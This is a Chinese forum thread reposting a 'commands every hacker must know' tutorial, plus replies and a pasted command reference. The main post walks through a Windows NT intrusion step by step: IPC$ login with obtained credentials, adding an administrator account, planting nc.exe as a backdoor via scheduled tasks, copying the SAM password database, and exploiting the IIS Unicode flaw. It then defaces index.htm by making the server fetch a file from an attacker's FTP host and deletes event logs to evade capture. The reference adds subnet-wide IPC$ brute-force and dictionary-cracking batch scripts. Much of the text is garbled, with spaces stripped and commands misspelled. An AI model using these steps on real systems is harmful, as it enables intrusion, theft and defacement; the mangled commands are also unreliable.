查看: 9352|回复: 7
要成为真正黑客必须掌握的技术黑客常用CMD命令
签到天数: 177 天[LV.7]常住居民III
马上注册，欢迎加入IT之家社区大家庭。
才可以下载或查看，没有帐号？
只要删除这些就可以了有些系统NT装置在D盘或其他盘，就要把C改成其他盘。
只要你拥有某IP用户名和密码，那就用IPC$做连接吧!
这里我假如你得到用户是hbx密码是123456假设对方IP为127.0.0.1
netus\\127.0.0.1\ipc$&123456&/user:&hbx&
退出的命令是
netus\\127.0.0.1\ipc$/delte
下面的操作你必需登陆后才可以用.登陆的方法就在上面.
----------------------
下面我讲怎么创建一个用户，由于SA 权限相当于系统的超级用户.
加一个heibai用户密码为lovechina
netuserheibailovechina/add
只要显示命令胜利，那么我可以把他加入Administr组了.
netlocalgroupA dministrheibai/add
----------------------
这里是讲映射对方的C盘，当然其他盘也可以，只要存在就行了.这里把对方的C盘映射到外地的Z盘.
netusz:\\127.0.0.1\c$
----------------------
netstarttelnet
这样可以打开对方的TELNET服务.
----------------------
这里是将Guest用户激活，guestNT默认用户，而且无法删除呢?不知道是否这样，2000就是删除不了
netuserguest/active:yes
----------------------
这里是把一个用户的密码改掉，把guest密码改为lovechina其他用户也可以的只要有权限就行了呀!
netuserguestlovechina
net命令果然强大啊!
一般一个**者**后都会留下后门，也就是种木马了把木马传了上去，怎么启动他呢?
那么需要用AT命令，这里假设你已经登陆了那个服务器。
首先要得到对方的时间，
nettime\\127.0.0.1
将会返回一个时间，这里假设时间为12:1现在需要新建一个作业，其ID=1
at\\127.0.0.112:3nc.exe
这里假设了一个木马，名为NC.EXE这个东西要在对方服务器上.
这里介绍一下NCNCNETCA T简称，为了方便输入，一般会被改名.一个TELNET服务，端口为99.
等到12:3就可以连接到对方的99端口.这样就给对方种下了木马.
这个命令非常实用，可以与远方做连接，不过正常下需要密码、用户，不过你给对方种了木马，直接连到这个木马打开的端口.
telnet127.0.0.199
这样就可以连到对方的99端口.那你就可以在对方运行命令了这个也就是肉鸡.
可以将你东西传到对方机子上，可以去申请个支持FTP上传的空间
下面先说上传，假设你需上传的文件是INDEX.HTM位于C:\下，传到对方D:\
getc:\index.htmd:\
假设你要把对方C盘下的INDEX.HTM下到机子的D盘下
putc:\index.htmd:\
下面我说说怎样把本地的文件复制到对方硬盘上去，需要建立好IPC$连接才有效。
这里我把本地C盘下的index.htm复制到127.0.0.1C盘下
copiindex.htm\\127.0.0.1\c$\index.htm
----------------------
如果你要复制到D盘下把C改为D就行了!
copiindex.htm\\127.0.0.1\d$\index.htm
----------------------
如果你要把他复制到WINNT目录里
就要把输入
copiindex.htm\\127.0.0.1\admin$\index.htm
admin$winnt
----------------------
要把对方的文件复制过来，顺便告诉大家NT备份的数据库放在x:\winnt\repair\sam._sam._数据库的文件名
下面就把127.0.0.1数据库复制到外地C盘下
copi\\127.0.0.1\admin$\repair\sam._c:\
----------------------
如果你跑进了一部机子，而且想黑他这思想只能在特别时候才准有)当然他80端口要开，不然你黑给谁看。这时需要用SET命令!
下面是得到结果!来分析它只是找主页在那而已。
COMPUTERNA ME=PENTIUMII
ComSpec=D:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GA TEWA Y_INTERFA CE=CGI/1.1
HTTP_A CCEPT=*/*
HTTP_A CCEPT_LA NGUA GE=zh-cn
HTTP_CONNECTION=Keep-A live
HTTP_HOST=当前登陆者的IP这里原本是显示我IP被我删除了
HTTP_A CCEPT_ENCODING=gzipdeflate
HTTP_USER_A GENT=Mozilla/4.0MSIE5.0;Window98;DigExt
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:\WINNT\system32\os2\
OS=Windows_NT
Path=D:\WINNT\system32;D:\WINNT
PA THEXT=.COM;.EXE;.BA T;.CMD
PA TH_PA NSLA TED=E:\vlroot主页放在地址，只要你看到PA TH_PA NSLA TED=后面就是主页的存放地址。这里是E:\vlroot
PROCESSOR_A RCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86Famili6Model3Step3GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_SPING=/c+set
REMOTE_A DDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
script_NA ME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NA ME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWA RE=Microsoft-IIS/3.0对方使用IIS/3.0
SystemDrive=D:
SystemRoot=D:\WINNT
USERPROFILE=D:\WINNT\Profiles\DefaultUser
windir=D:\WINNT
粉红色的那行就是对方主页存放地址，这里告诉大家一个技巧，很笨的技巧啊，不过只能用这个方法才干100%找到主页的名称，当你DIR这个目录时，一定会看到很多文件，可以把所有文件在浏览器这样输入XX.XX.XX.XX/文件名，这样只要看到和XX.XX.XX.XX看到也面一模一样，那么这就是主页的名称了
如果你扫到一部NT机子，136139其中一个端口开了话，就要用这个命令得到用户了顺便告诉大家这是netbio得到用户名后就可以猜猜密码了例如比较简单的密码，密码和用户名一样的都试下，不行就暴力破解吧!
现在网上很多NT机子都开了这些端口的可以练习下，来分析得到结果。
nbtstat-A XX.XX.XX.XX
-A 一定要大写哦。
下面是得到结果。
NetBIOSRemotMachinNameTable
NameTypeStatus
---------------------------------------------
RegistRegistRegistRegistRegistRegistRegistReg
isterRegistRegistRegistered
MA CA ddress=00-E0-29-14-35-BA
PENTIUMII&00&UNIQUE
PENTIUMII&20&UNIQUE
ORA HOTOWN&00&GROUP
ORA HOTOWN&1C&GROUP
ORA HOTOWN&1B&UNIQUE
PENTIUMII&03&UNIQUE
INet~Servic&1C&GROUP
IS~PENTIUMII...&00&UNIQUE
ORA HOTOWN&1E&GROUP
ORA HOTOWN&1D&UNIQUE
..__MSBROWSE__.&01&GROUP
粉红色的就是登陆过这部系统的用户，可能你不知道怎么看，大家是不是看到一窜数字，只要这窜数字是&03&话，那他前面的就是用户。
这里的用户是PENTIUMII
关了对方的NT服务器的命令
Shutdown\\IP地址 t:20
20秒后将NT自动关闭，三思后才干运行这个命令，这样对对方造很大的损失，要做个有良心的**者呀。
这个命令没什么好讲，但是却非常重要，检查一目录里的所有文件、文件夹。
可以外地试下。
著名的漏洞Unicod这个命令可以简单的黑一下有这个漏洞的主机。
假设我要把“南京大屠杀铁证如山，任何日本人不得抵赖!写入index.htm有2种方法，大家看看有什么区别。
echo南京大屠杀铁证如山，任何日本人不得抵赖!&index.htm
echo南京大屠杀铁证如山，任何日本人不得抵赖!&&index.htm
第一个的意思是覆盖index.htm原有的内容，把“南京大屠杀铁证如山，任何日本人不得抵赖!写进index.htm
第二个的意思是把“南京大屠杀铁证如山，任何日本人不得抵赖!加到index.htm里面。
&&发生的内容将追加进文件中，&则将原文件内容覆盖。
大家可以外地试下。
可能你会问，这样简单黑下有什么好玩的其实他可以用来下载主页到对方的目录里。
1首先，需要申请一个免费的主页空间。
2用echo可写目录下建立如下内容的txt文件：以chinren服务器为例。
FTP服务器，申请时你空间提供商会给你
cnhack申请时的用户名)
test申请时的密码)
getindex.htmc:\inetpub\wwwroot\index.htm这里是把你空间上的index.htm下载到对方的c:\inetpub\wwwroot\index.htm
by退出FTP对话，相当在98下的DOS用EXIT退出DOS
具体的做法：
输入 &c:\cnhack.txt
输入 echocnhack&&c:\cnhack.txt
输入 echo39ab&&c:\cnhack.txt
输入 echogetindex.htmc:\inetpub\wwwroot\index.htm+&&+c:\cnhack.txt
最后输入 ftp-s:c:\cnhack.txt利用ftp-参数，执行文件里的内容。
等命令完成时，文件已经下载到指定的文件里了
注意：取得文件后，请删除cnhack.txt如果不删除，很容易会给别人看到密码。
记得要 delc:\cnhack.txt
这个命令是设置文件属性的如果你想黑一个站，而他主页的文件属性设置了只读，那就很可怜呀，想删除他也不行，想覆盖他也不行。倒!不过有这个命令就别怕了
attrib-rindex.htm
这个命令是把index.htm只读属性去掉。
如果把“-改为“+则是把这个文件的属性设置为只读
----------------------
attrib+rindex.htm
这个命令是把index.htm属性设置为只读。
当你看到这个标题可别倒下啊!现在要离开127.0.0.1要删除日志，当然要删除日志啦!想被捉吗。呵呵。
NT日志有这些
delC:\winnt\system32\logfiles\*.*
delC:\winnt\ssytem32\config\*.evt
delC:\winnt\system32\dtclog\*.*
delC:\winnt\system32\*.log
delC:\winnt\system32\*.txt
delC:\winnt\*.txt
delC:\winnt\*.log
&&（分享给新手们，很入门级别）
签到天数: 313 天[LV.8]以坛为家I
LZ还真是闭着眼睛复制粘贴啊~哎……
签到天数: 792 天[LV.10]以坛为家III
不错，不错
签到天数: 733 天[LV.9]以坛为家II
噢噢我还以为是 dir命令
签到天数: 214 天[LV.7]常住居民III
这个我看了 我个人只用安全防护！
签到天数: 93 天[LV.6]常住居民II
我是过路的&&过来学习学习&&我不说话
签到天数: 976 天[LV.10]以坛为家III
天王盖地虎 发表于
LZ还真是闭着眼睛复制粘贴啊~哎……
估计复制源就是如此，LZ照搬而已
签到天数: 130 天[LV.7]常住居民III
看了半天 都不晓得写的啥
版权所有 (C)& & 1&黑客基础之DOS&（最齐全）& & net&use&\\ip\ipc$&"&"&/user:"&"&建立IPC空链接& & net&use&\\ip\ipc$&"密码"&/user:"用户名"&建立IPC非空链接& & net&use&h:&\\ip\c$&"密码"&/user:"用户名"&直接登陆后映射对方C：到本地为& & H:& & net&use&h:&\\ip\c$&登陆后映射对方C：到本地为H:& & net&use&\\ip\ipc$&/del&删除IPC链接& & net&use&h:&/del&删除映射对方到本地的为H:的映射& & net&user&用户名　密码　/add&建立用户& & net&user&guest&/active:yes&激活guest用户& & net&user&查看有哪些用户& & net&user&帐户名&查看帐户的属性& & net&localgroup&administrators&用户名&/add&把“用户”添加到管理员中使其& & 具有管理员权限,注意：administrator后加s用复数& & net&start&查看开启了哪些服务& & net&start&服务名&开启服务；(如:net&start&telnet，&net&start&schedule)& & net&stop&服务名&停止某服务& & net&time&\\目标ip&查看对方时间& & net&time&\\目标ip&/set&设置本地计算机时间与“目标IP”主机的时间同步,加& & 上参数/yes可取消确认信息& & net&view&查看本地局域网内开启了哪些共享& & net&view&\\ip&查看对方局域网内开启了哪些共享& & net&config&显示系统网络设置& & net&logoff&断开连接的共享& & net&pause&服务名&暂停某服务& & net&send&ip&"文本信息"&向对方发信息& & net&ver&局域网内正在使用的网络连接类型和信息& & net&share&查看本地开启的共享& & net&share&ipc$&开启ipc$共享& & net&share&ipc$&/del&删除ipc$共享& & net&share&c$&/del&删除C：共享& & net&user&guest&12345&用guest用户登陆后用将密码改为12345& & net&password&密码&更改系统登陆密码& & netstat&-a&查看开启了哪些端口,常用netstat&-an& & netstat&-n&查看端口的网络连接情况，常用netstat&-an& & netstat&-v&查看正在进行的工作& & netstat&-p&协议名&例：netstat&-p&tcq/ip&查看某协议使用情况（查看tcp/ip& & 协议使用情况）& & netstat&-s&查看正在使用的所有协议使用情况& & nbtstat&-A&ip&对方136到139其中一个端口开了的话，就可查看对方最近登陆的& & 用户名（03前的为用户名）-注意：参数-A要大写& & tracert&-参数&ip(或计算机名)&跟踪路由（数据包），参数：“-w数字”用于设& & 置超时间隔。& & ping&ip(或域名)&向对方主机发送默认大小为32字节的数据，参数：“-l[空格]& & 数据包大小”；“-n发送数据次数”；“-t”指一直ping。& & ping&-t&-l&65550&ip&死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)& & ipconfig&(winipcfg)&用于windows&NT及XP(windows&95&98)查看本地ip地址，& & ipconfig可用参数“/all”显示全部配置信息& & tlist&-t&以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装& & 目录的Support/tools文件夹内)& & kill&-F&进程名&加-F参数后强制结束某进程(为系统的附加工具，默认是没有安& & 装的，在安装目录的Support/tools文件夹内)& & del&-F&文件名&加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除& & 只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏& & 、系统、存档以外的文件。例如“DEL/AR&*.*”表示删除当前目录下所有只读文& & 件，“DEL/A-S&*.*”表示删除当前目录下除系统文件以外的所有文件& & del&/S&/Q&目录&或用：rmdir&/s&/Q&目录&/S删除目录及目录下的所有子目录和& & 文件。同时使用参数/Q&可取消删除操作时的系统确认就直接删除。（二个命令作有相同）& & move&盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名&移动文件&，& & 用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖& & fc&one.txt&two.txt&>&3st.txt&对比二个文件并把不同之处输出到3st.txt文件& & 中，">&"和">&>"&是重定向命令& & at&id号&开启已注册的某个计划任务& & at&/delete&停止所有计划任务，用参数/yes则不需要确认就直接停止& & at&id号&/delete&停止某个已注册的计划任务& & at&查看所有的计划任务& & at&\\ip&time&程序名(或一个命令)&/r&在某时间运行对方某程序并重新启动计算机& & finger&username&@host&查看最近有哪些用户登陆& & telnet&ip&端口&远和登陆服务器,默认端口为23& & open&ip&连接到IP（属telnet登陆后的命令）& & telnet&在本机上直接键入telnet&将进入本机的telnet& & copy&路径\文件名1　路径\文件名2&/y&复制文件1到指定的目录为文件2，用参数& & /y就同时取消确认你要改写一份现存目录文件& & copy&c:\srv.exe&\\ip\admin$&复制本地c:\srv.exe到对方的admin下& & cppy&1st.jpg/b+2st.txt/a&3st.jpg&将2st.txt的内容藏身到1st.jpg中生成& & 3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指& & ASCLL格式文件& & copy&\\ip\admin$\svv.exe&c:\&或:copy\\ip\admin$\*.*&复制对方admini$共享& & 下的srv.exe文件（所有文件）至本地C：& & xcopy&要复制的文件或目录树　目标地址\目录名&复制文件和目录树，用参数/Y& & 将不提示覆盖相同文件& & tftp&-i&自己IP(用肉机作跳板时这用肉机IP)&get&server.exe&c:\server.exe& & 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe&参数：-i指以二& & 进制模式传送，如传送exe文件时用，如不加-i&则以ASCII模式（传送文本文件模& & 式）进行传送& & tftp&-i&对方IP　put&c:\server.exe&登陆后，上传本地c:\server.exe至主机& & ftp&ip&端口&用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二& & 进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)& & route&print&显示出IP路由，将主要显示网络地址Network&addres，子网掩码& & Netmask，网关地址Gateway&addres，接口地址Interface& & arp&查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理& & 性的MAC地址。arp&-a将显示出全部信息& & start&程序名或命令&/max&或/min&新开一个新窗口并最大化（最小化）运行某程& & 序或命令& & mem&查看cpu使用情况& & attrib&文件名(目录名)&查看某文件（目录）的属性& & attrib&文件名&-A&-R&-S&-H&或&+A&+R&+S&+H&去掉(添加)某文件的&存档，只读，& & 系统，隐藏&属性；用＋则是添加为某属性& & dir&查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时& & 间，/T:A显示文件上次被访问时间，/T:W上次被修改时间& & date&/t&、&time&/t&使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和& & 时间，而不必输入新日期和时间& & set&指定环境变量名称=要指派给变量的字符&设置环境变量& & set&显示当前所有的环境变量& & set&p(或其它字符)&显示出当前以字符p(或其它字符)开头的所有环境变量& & pause&暂停批处理程序，并显示出：请按任意键继续....& & if&在批处理程序中执行条件处理（更多说明见if命令及变量）& & goto&标签&将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以& & 冒号打头，例如：“：start”标签）& & call&路径\批处理文件名&从批处理程序中调用另一个批处理程序&（更多说明见call&/?）& & for&对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）& & echo&on或off&打开或关闭echo，仅用echo不加参数则显示当前echo设置& & echo&信息&在屏幕上显示出信息& & echo&信息&>>&pass.txt&将"信息"保存到pass.txt文件中& & findstr&"Hello"&aa.txt&在aa.txt文件中寻找字符串hello& & find&文件名&查找某文件& & title&标题名字&更改CMD窗口标题名字& & color&颜色值&设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿& & 、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、& & D=淡紫、E=淡黄、F=亮白& & prompt&名称&更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\&)& & print&文件名&打印文本文件& & ver&在DOS窗口下显示版本信息& & winver&弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）& & format&盘符&/FS:类型&格式化磁盘,类型:FAT、FAT32、NTFS&,例：Format&D:&/FS:NTFS& & md　目录名&创建目录& & replace&源文件　要替换文件的目录&替换文件& & ren&原文件名　新文件名&重命名文件名& & tree&以树形结构显示出目录，用参数-f&将列出第个文件夹中文件名称& & type&文件名&显示文本文件的内容& & more&文件名&逐屏显示输出文件& & doskey&要锁定的命令＝字符& & doskey&要解锁命令=&为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，& & 并创建宏)。如：锁定dir命令：doskey&dir=entsky&(不能用doskey&dir=dir)；& & 解锁：doskey&dir=& & taskmgr&调出任务管理器& & chkdsk&/F&D:&检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误& & tlntadmn&telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务& & 默认端口23为其它任何端口& & exit&退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe& & path&路径\可执行文件的文件名&为可执行文件设置一个路径。& & cmd&启动一个win2K命令解释窗口。参数：/eff、/en&关闭、开启命令扩展；更我& & 详细说明见cmd&/?& & regedit&/s&注册表文件名&导入注册表；参数/S指安静模式导入，无任何提示；& & regedit&/e&注册表文件名&导出注册表& & cacls&文件名　参数&显示或修改文件访问控制列表（ACL）——针对NTFS格式时。& & 参数：/D&用户名:设定拒绝某用户访问；/P&用户名erm&替换指定用户的访问& & 权限；/G&用户名erm&赋予指定用户访问权限；Perm&可以是:&N&无，R&读取，& & W&写入，&C&更改(写入)，F&完全控制；例：cacls&D:\test.txt&/D&pub&设定& & d:\test.txt拒绝pub用户访问。& & cacls&文件名&查看文件的访问用户权限列表& & REM&文本内容&在批处理文件中添加注解& & netsh&查看或更改本地网络配置情况& & IIS服务命令：& & iisreset&/reboot&重启win2k计算机（但有提示系统将重启信息出现）& & iisreset&/start或stop&启动（停止）所有Internet服务& & iisreset&/restart&停止然后重新启动所有Internet服务& & iisreset&/status&显示所有Internet服务状态& & iisreset&/enable或disable&在本地系统上启用（禁用）Internet服务的重新启动& & iisreset&/rebootonerror&当启动、停止或重新启动Internet服务时，若发生错& & 误将重新开机& & iisreset&/noforce&若无法停止Internet服务，将不会强制终止Internet服务& & iisreset&/timeout&Val在到达逾时间（秒）时，仍未停止Internet服务，若指定& & /rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒重& & 新开机0秒，重新开机0秒。& & FTP&命令：&(后面有详细说明内容)& & ftp的命令行格式为:& & ftp&－v&－d&－i&－n&－g[主机名]&－v&显示远程服务器的所有响应信息。& & －d&使用调试方式。& & －n&限制ftp的自动登录,即不使用.netrc文件。& & －g&取消全局文件名。& & help&[命令]&或&？[命令]&查看命令说明& & bye&或&quit&终止主机FTP进程,并退出FTP管理方式.& & pwd&列出当前远端主机目录& & put&或&send&本地文件名&[上传到主机上的文件名]&将本地一个文件传送至远端& & 主机中& & get&或&recv&[远程主机文件名]&[下载到本地后的文件名]&从远端主机中传送至& & 本地主机中& & mget&[remote-files]&从远端主机接收一批文件至本地主机& & mput&local-files&将本地主机中一批文件传送至远端主机& & dir&或&ls&[remote-directory]&[local-file]&列出当前远端主机目录中的文件.& & 如果有本地文件,就将结果写至本地文件& & ascii&设定以ASCII方式传送文件(缺省值)& & bin&或&image&设定以二进制方式传送文件& & bell&每完成一次文件传送,报警提示& & cdup&返回上一级目录& & close&中断与远程服务器的ftp会话(与open对应)& & open&host[port]&建立指定ftp服务器连接,可指定连接端口& & delete&删除远端主机中的文件& & mdelete&[remote-files]&删除一批文件& & mkdir&directory-name&在远端主机中建立目录& & rename&[from]&[to]&改变远端主机中的文件名& & rmdir&directory-name&删除远端主机中的目录& & status&显示当前FTP的状态& & system&显示远端主机系统类型& & user&user-name&[password]&[account]&重新以别的用户名登录远端主机& & open&host&[port]&重新建立一个新的连接& & prompt&交互提示模式& & macdef&定义宏命令& & lcd&改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录& & chmod&改变远端主机的文件权限& & case&当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母& & cd&remote－dir&进入远程主机目录& & cdup&进入远程主机目录的父目录& & !&在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip& & MYSQL&命令：& & mysql&-h主机地址&-u用户名&－p密码&连接MYSQL;如果刚安装好MYSQL，超级用户& & root是没有密码的。& & （例：mysql&-h110.110.110.110&-Uroot&-P123456& & 注:u与root可以不用加空格，其它也一样）& & exit&退出MYSQL& & mysqladmin&-u用户名&-p旧密码&password&新密码&修改密码& & grant&select&on&数据库.*&to&用户名@登录主机&identified&by&\"密码\";&增& & 加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都& & 带一个分号作为命令结束符）& & show&&显示数据库列表。刚开始时才两个数据库：mysql和test。& & mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是& & 用这个库进行操作。& & use&mysql；& & show&&显示库中的数据表& & describe&表名;&显示数据表的结构& & create&database&库名;&建库& & use&库名；& & create&table&表名&(字段设定列表)；&建表& & drop&database&库名;& & drop&table&表名；&删库和删表& & delete&from&表名;&将表中记录清空& & select&*&from&表名;&显示表中的记录& & mysqldump&--opt&school>school.bbb&备份数据库：（命令在DOS的\\mysql\\bin& & 目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个& & 文本文件，文件名任取，打开看看你会有新发现。& & win2003系统下新增命令（实用部份）：& & shutdown&/参数&关闭或重启本地或远程主机。& & 参数说明：/S&关闭主机，/R&重启主机，&/T&数字&设定延时的时间，范围0～180& & 秒之间，&/A取消开机，/M&//IP&指定的远程主机。& & 例：shutdown&/r&/t&0&立即重启本地主机（无延时）& & taskill&/参数&进程名或进程的pid&终止一个或多个任务和进程。& & 参数说明：/PID&要终止进程的pid,可用tasklist命令获得各进程的pid，/IM&要& & 终止的进程的进程名，/F&强制终止进程，/T&终止指定的进程及他所启动的子进程& & tasklist&显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。& & 参数说明：/M&列出当前进程加载的dll文件，/SVC&显示出每个进程对应的服务，& & 无参数时就只列出当前的进程。& & Linux系统下基本命令：&要区分大小写& & uname&显示版本信息（同win2K的&ver）& & dir&显示当前目录文件,ls&-al&显示包括隐藏文件（同win2K的&dir）& & pwd&查询当前所在的目录位置& & cd&cd　..回到上一层目录，注意cd&与..之间有空格。cd　/返回到根目录。& & cat&文件名&查看文件内容& & cat&>abc.txt&往abc.txt文件中写上内容。& & more&文件名&以一页一页的方式显示一个文本文件。& & cp&复制文件& & mv&移动文件& & rm&文件名&删除文件，rm&-a&目录名删除目录及子目录& & mkdir&目录名&建立目录& & rmdir&删除子目录，目录内没有文档。& & chmod&设定档案或目录的存取权限& & grep&在档案中查找字符串& & diff&档案文件比较& & find&档案搜寻& & date&现在的日期、时间& & who&查询目前和你使用同一台机器的人以及Login时间地点& & w&查询目前上机者的详细资料& & whoami&查看自己的帐号名称& & groups&查看某人的Group& & passwd&更改密码& & history&查看自己下过的命令& & ps&显示进程状态& & kill&停止某进程& & gcc&黑客通常用它来编译C语言写的文件& & su&权限转换为指定使用者& & telnet&IP&telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。& & ftp&ftp连接上某服务器（同win2K）& & 附：批处理命令与变量& & 1：for命令及变量&基本格式：& & FOR&/参数&%variable&IN&(set)&DO&command&[command_parameters]&%variable:& & 指定一个单一字母可替换的参数，如：%i&，而指定一个变量则用：%%i&，而调用& & 变量时用：%i%&，变量是区分大小写的（%i&不等于&%I）。& & 批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1& & 默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例& & ：net&use&\\ip\ipc$&pass&/user:user&中ip为%1,pass为%2&,user为%3& & (set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1&1&254)(1& & -1&254),{“(1&1&254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"& & 指结束值，即：从1到254；“(1&-1&254)”说明：即从254到1}& & command：指定对第个文件执行的命令，如：net&use命令；如要执行多个命令时& & ，命令这间加：&&来隔开& & command_parameters：为特定命令指定参数或命令行开关& & IN&(set)：指在(set)中取值；DO&command&：指执行command& & 参数：/L&指用增量形式{(set)为增量形式时}；/F&指从文件中不断取值，直到取& & 完为止{(set)为文件时，如(d:\pass.txt)时}。& & 用法举例：& & @echo&off& & echo&用法格式：test.bat&*.*.*&>&test.txt& & for&/L&%%G&in&(1&1&254)&do&echo&%1.%%G&>>test.txt&&&net&use&\\%1.%%G& & /user:administrator&|&find&"命令成功完成"&>>test.txt& & 存为test.bat&说明：对指定的一个C类网段的254个IP依次试建立administrator& & 密码为空的IPC$连接，如果成功就把该IP存在test.txt中。& & /L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认& & 的&%1；%%G&为变量(ip的最后一位）；&&用来隔开echo&和net&use&这二个命令；& & |&指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G&为& & 完整的IP地址；(1&1&254)&指起始值，增长量，结止值。& & @echo&off& & echo&用法格式：ok.bat&ip& & FOR&/F&%%i&IN&(D:\user.dic)&DO&smb.exe&%1&%%i&D:\pass.dic&200& & 存为：ok.exe&说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic& & 中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。& & 2：if命令及变量&基本格式：& & IF&[not]&errorlevel&数字&命令语句&如果程序运行最后返回一个等于或大于指& & 定数字的退出编码，指定条件为“真”。& & 例：IF&errorlevel&0&命令&指程序执行后返回的值为0时，就值行后面的命令；& & IF&not&errorlevel&1&命令指程序执行最后返回的值不等于1，就执行后面的命令& & 0&指发现并成功执行（真）；1&指没有发现、没执行（假）。& & IF&[not]&字符串1==字符串2&命令语句&如果指定的文本字符串匹配（即：字符串& & 1&等于&字符串2），就执行后面的命令。& & 例：“if&"%2%"=="4"&goto&start”指：如果输入的第二个变量为4时，执行后面& & 的命令（注意：调用变量时就%变量名%并加"&"）& & IF&[not]&exist&文件名&命令语句&如果指定的文件名存在，就执行后面的命令。& & 例：“if&not&nc.exe&goto&end”指：如果没有发现nc.exe文件就跳到":end"标签处。& & IF&[not]&errorlevel&数字&命令语句&else&命令语句或&IF&[not]&字符串1==字& & 符串2&命令语句&else&命令语句或&IF&[not]&exist&文件名&命令语句&else&命令& & 语句&加上：else&命令语句后指：当前面的条件不成立时，就指行else后面的命& & 令。注意：else&必须与&if&在同一行才有效。&当有del命令时需把del命令全部& & 内容用括起来，因为del命令要单独一行时才能执行，用上后就等于是单独& & 一行了；例如：“if&exist&test.txt.&&else&echo& & test.txt.missing&”，注意命令中的“.”& & & & 当前1/2页12下一页& & QQ空间
百度搜藏更多& & Tags：学习黑客必须要掌握的DOS命令全集& & 复制链接收藏本文打印本文关闭本文返回首页& & 上一篇：一个可以修复 IE浏览器的批处理文件& & 下一篇：VBS和bat批处理逐行读取文件实例& & 相关文章DOS下内存的配置bat批处理彻底隐藏文件的方法（使用虚拟磁盘实现）写的不错批处理教程一关闭所有分区自动播放和恢复所有分区自动播放的cmd批处理用注册表更改DNS的代码分享百度关键字搜索(批处理打开网页)ipc通道入侵相关命令整理酷狗去广告一键去除批处理代码DOS 下的批处理文件CMD命令行下修改网络IP设置的方法& & 文章评论& & 最 近 更 新& & Append、Debug、Diskcomp命令的使用说明DOS下如何声明变量(定义变量)全盘删除所有文件夹下的_desktop.ini的批用批处理实现的反应速度测试工具查看网关的MAC地址的批处理文件恶意批处理.bat百度关键字搜索(批处理打开网页)文本左右对齐排版的批处理读取带敏感字符的行的批处理DOS命令全集(二)& & 热 点 排 行& & 批处理经典入门教程！(从不懂到高超简单超强悍的清理C盘垃圾文件方BAT文件语法和技巧（bat文件的编bat批处理 if 命令示例详解Xcopy 复制文件和目录，包括子目超经典的DOS命令全集开通局域网共享(访问本机无需验证cmd copy命令 文件复制最新万能 DOS 启动盘制作全攻略(如何用DOS命令删除顽固文件夹啊
声明：该文章系网友上传分享，此内容仅代表网友个人经验或观点，不代表本网站立场和观点；若未进行原创声明，则表明该文章系转载自互联网；若该文章内容涉嫌侵权，请及时向
上一篇：下一篇：
相关经验教程
的原创经验被浏览，获得 ￥0.002 收益
的原创经验被浏览，获得 ￥0.001 收益
的原创经验被浏览，获得 ￥0.005 收益
的原创经验被浏览，获得 ￥0.001 收益
的原创经验被浏览，获得 ￥0.002 收益
的原创经验被浏览，获得 ￥0.005 收益
的原创经验被浏览，获得 ￥0.001 收益
的原创经验被浏览，获得 ￥0.001 收益
的原创经验被浏览，获得 ￥0.001 收益
的原创经验被浏览，获得 ￥0.005 收益
的原创经验被浏览，获得 ￥0.005 收益
的原创经验被浏览，获得 ￥0.001 收益
的原创经验被浏览，获得 ￥0.002 收益
的原创经验被浏览，获得 ￥0.005 收益
的原创经验被浏览，获得 ￥0.005 收益
的原创经验被浏览，获得 ￥0.005 收益
的原创经验被浏览，获得 ￥0.001 收益
的原创经验被浏览，获得 ￥0.005 收益
的原创经验被浏览，获得 ￥0.005 收益
的原创经验被浏览，获得 ￥0.005 收益
的原创经验被浏览，获得 ￥0.005 收益
的原创经验被浏览，获得 ￥0.005 收益
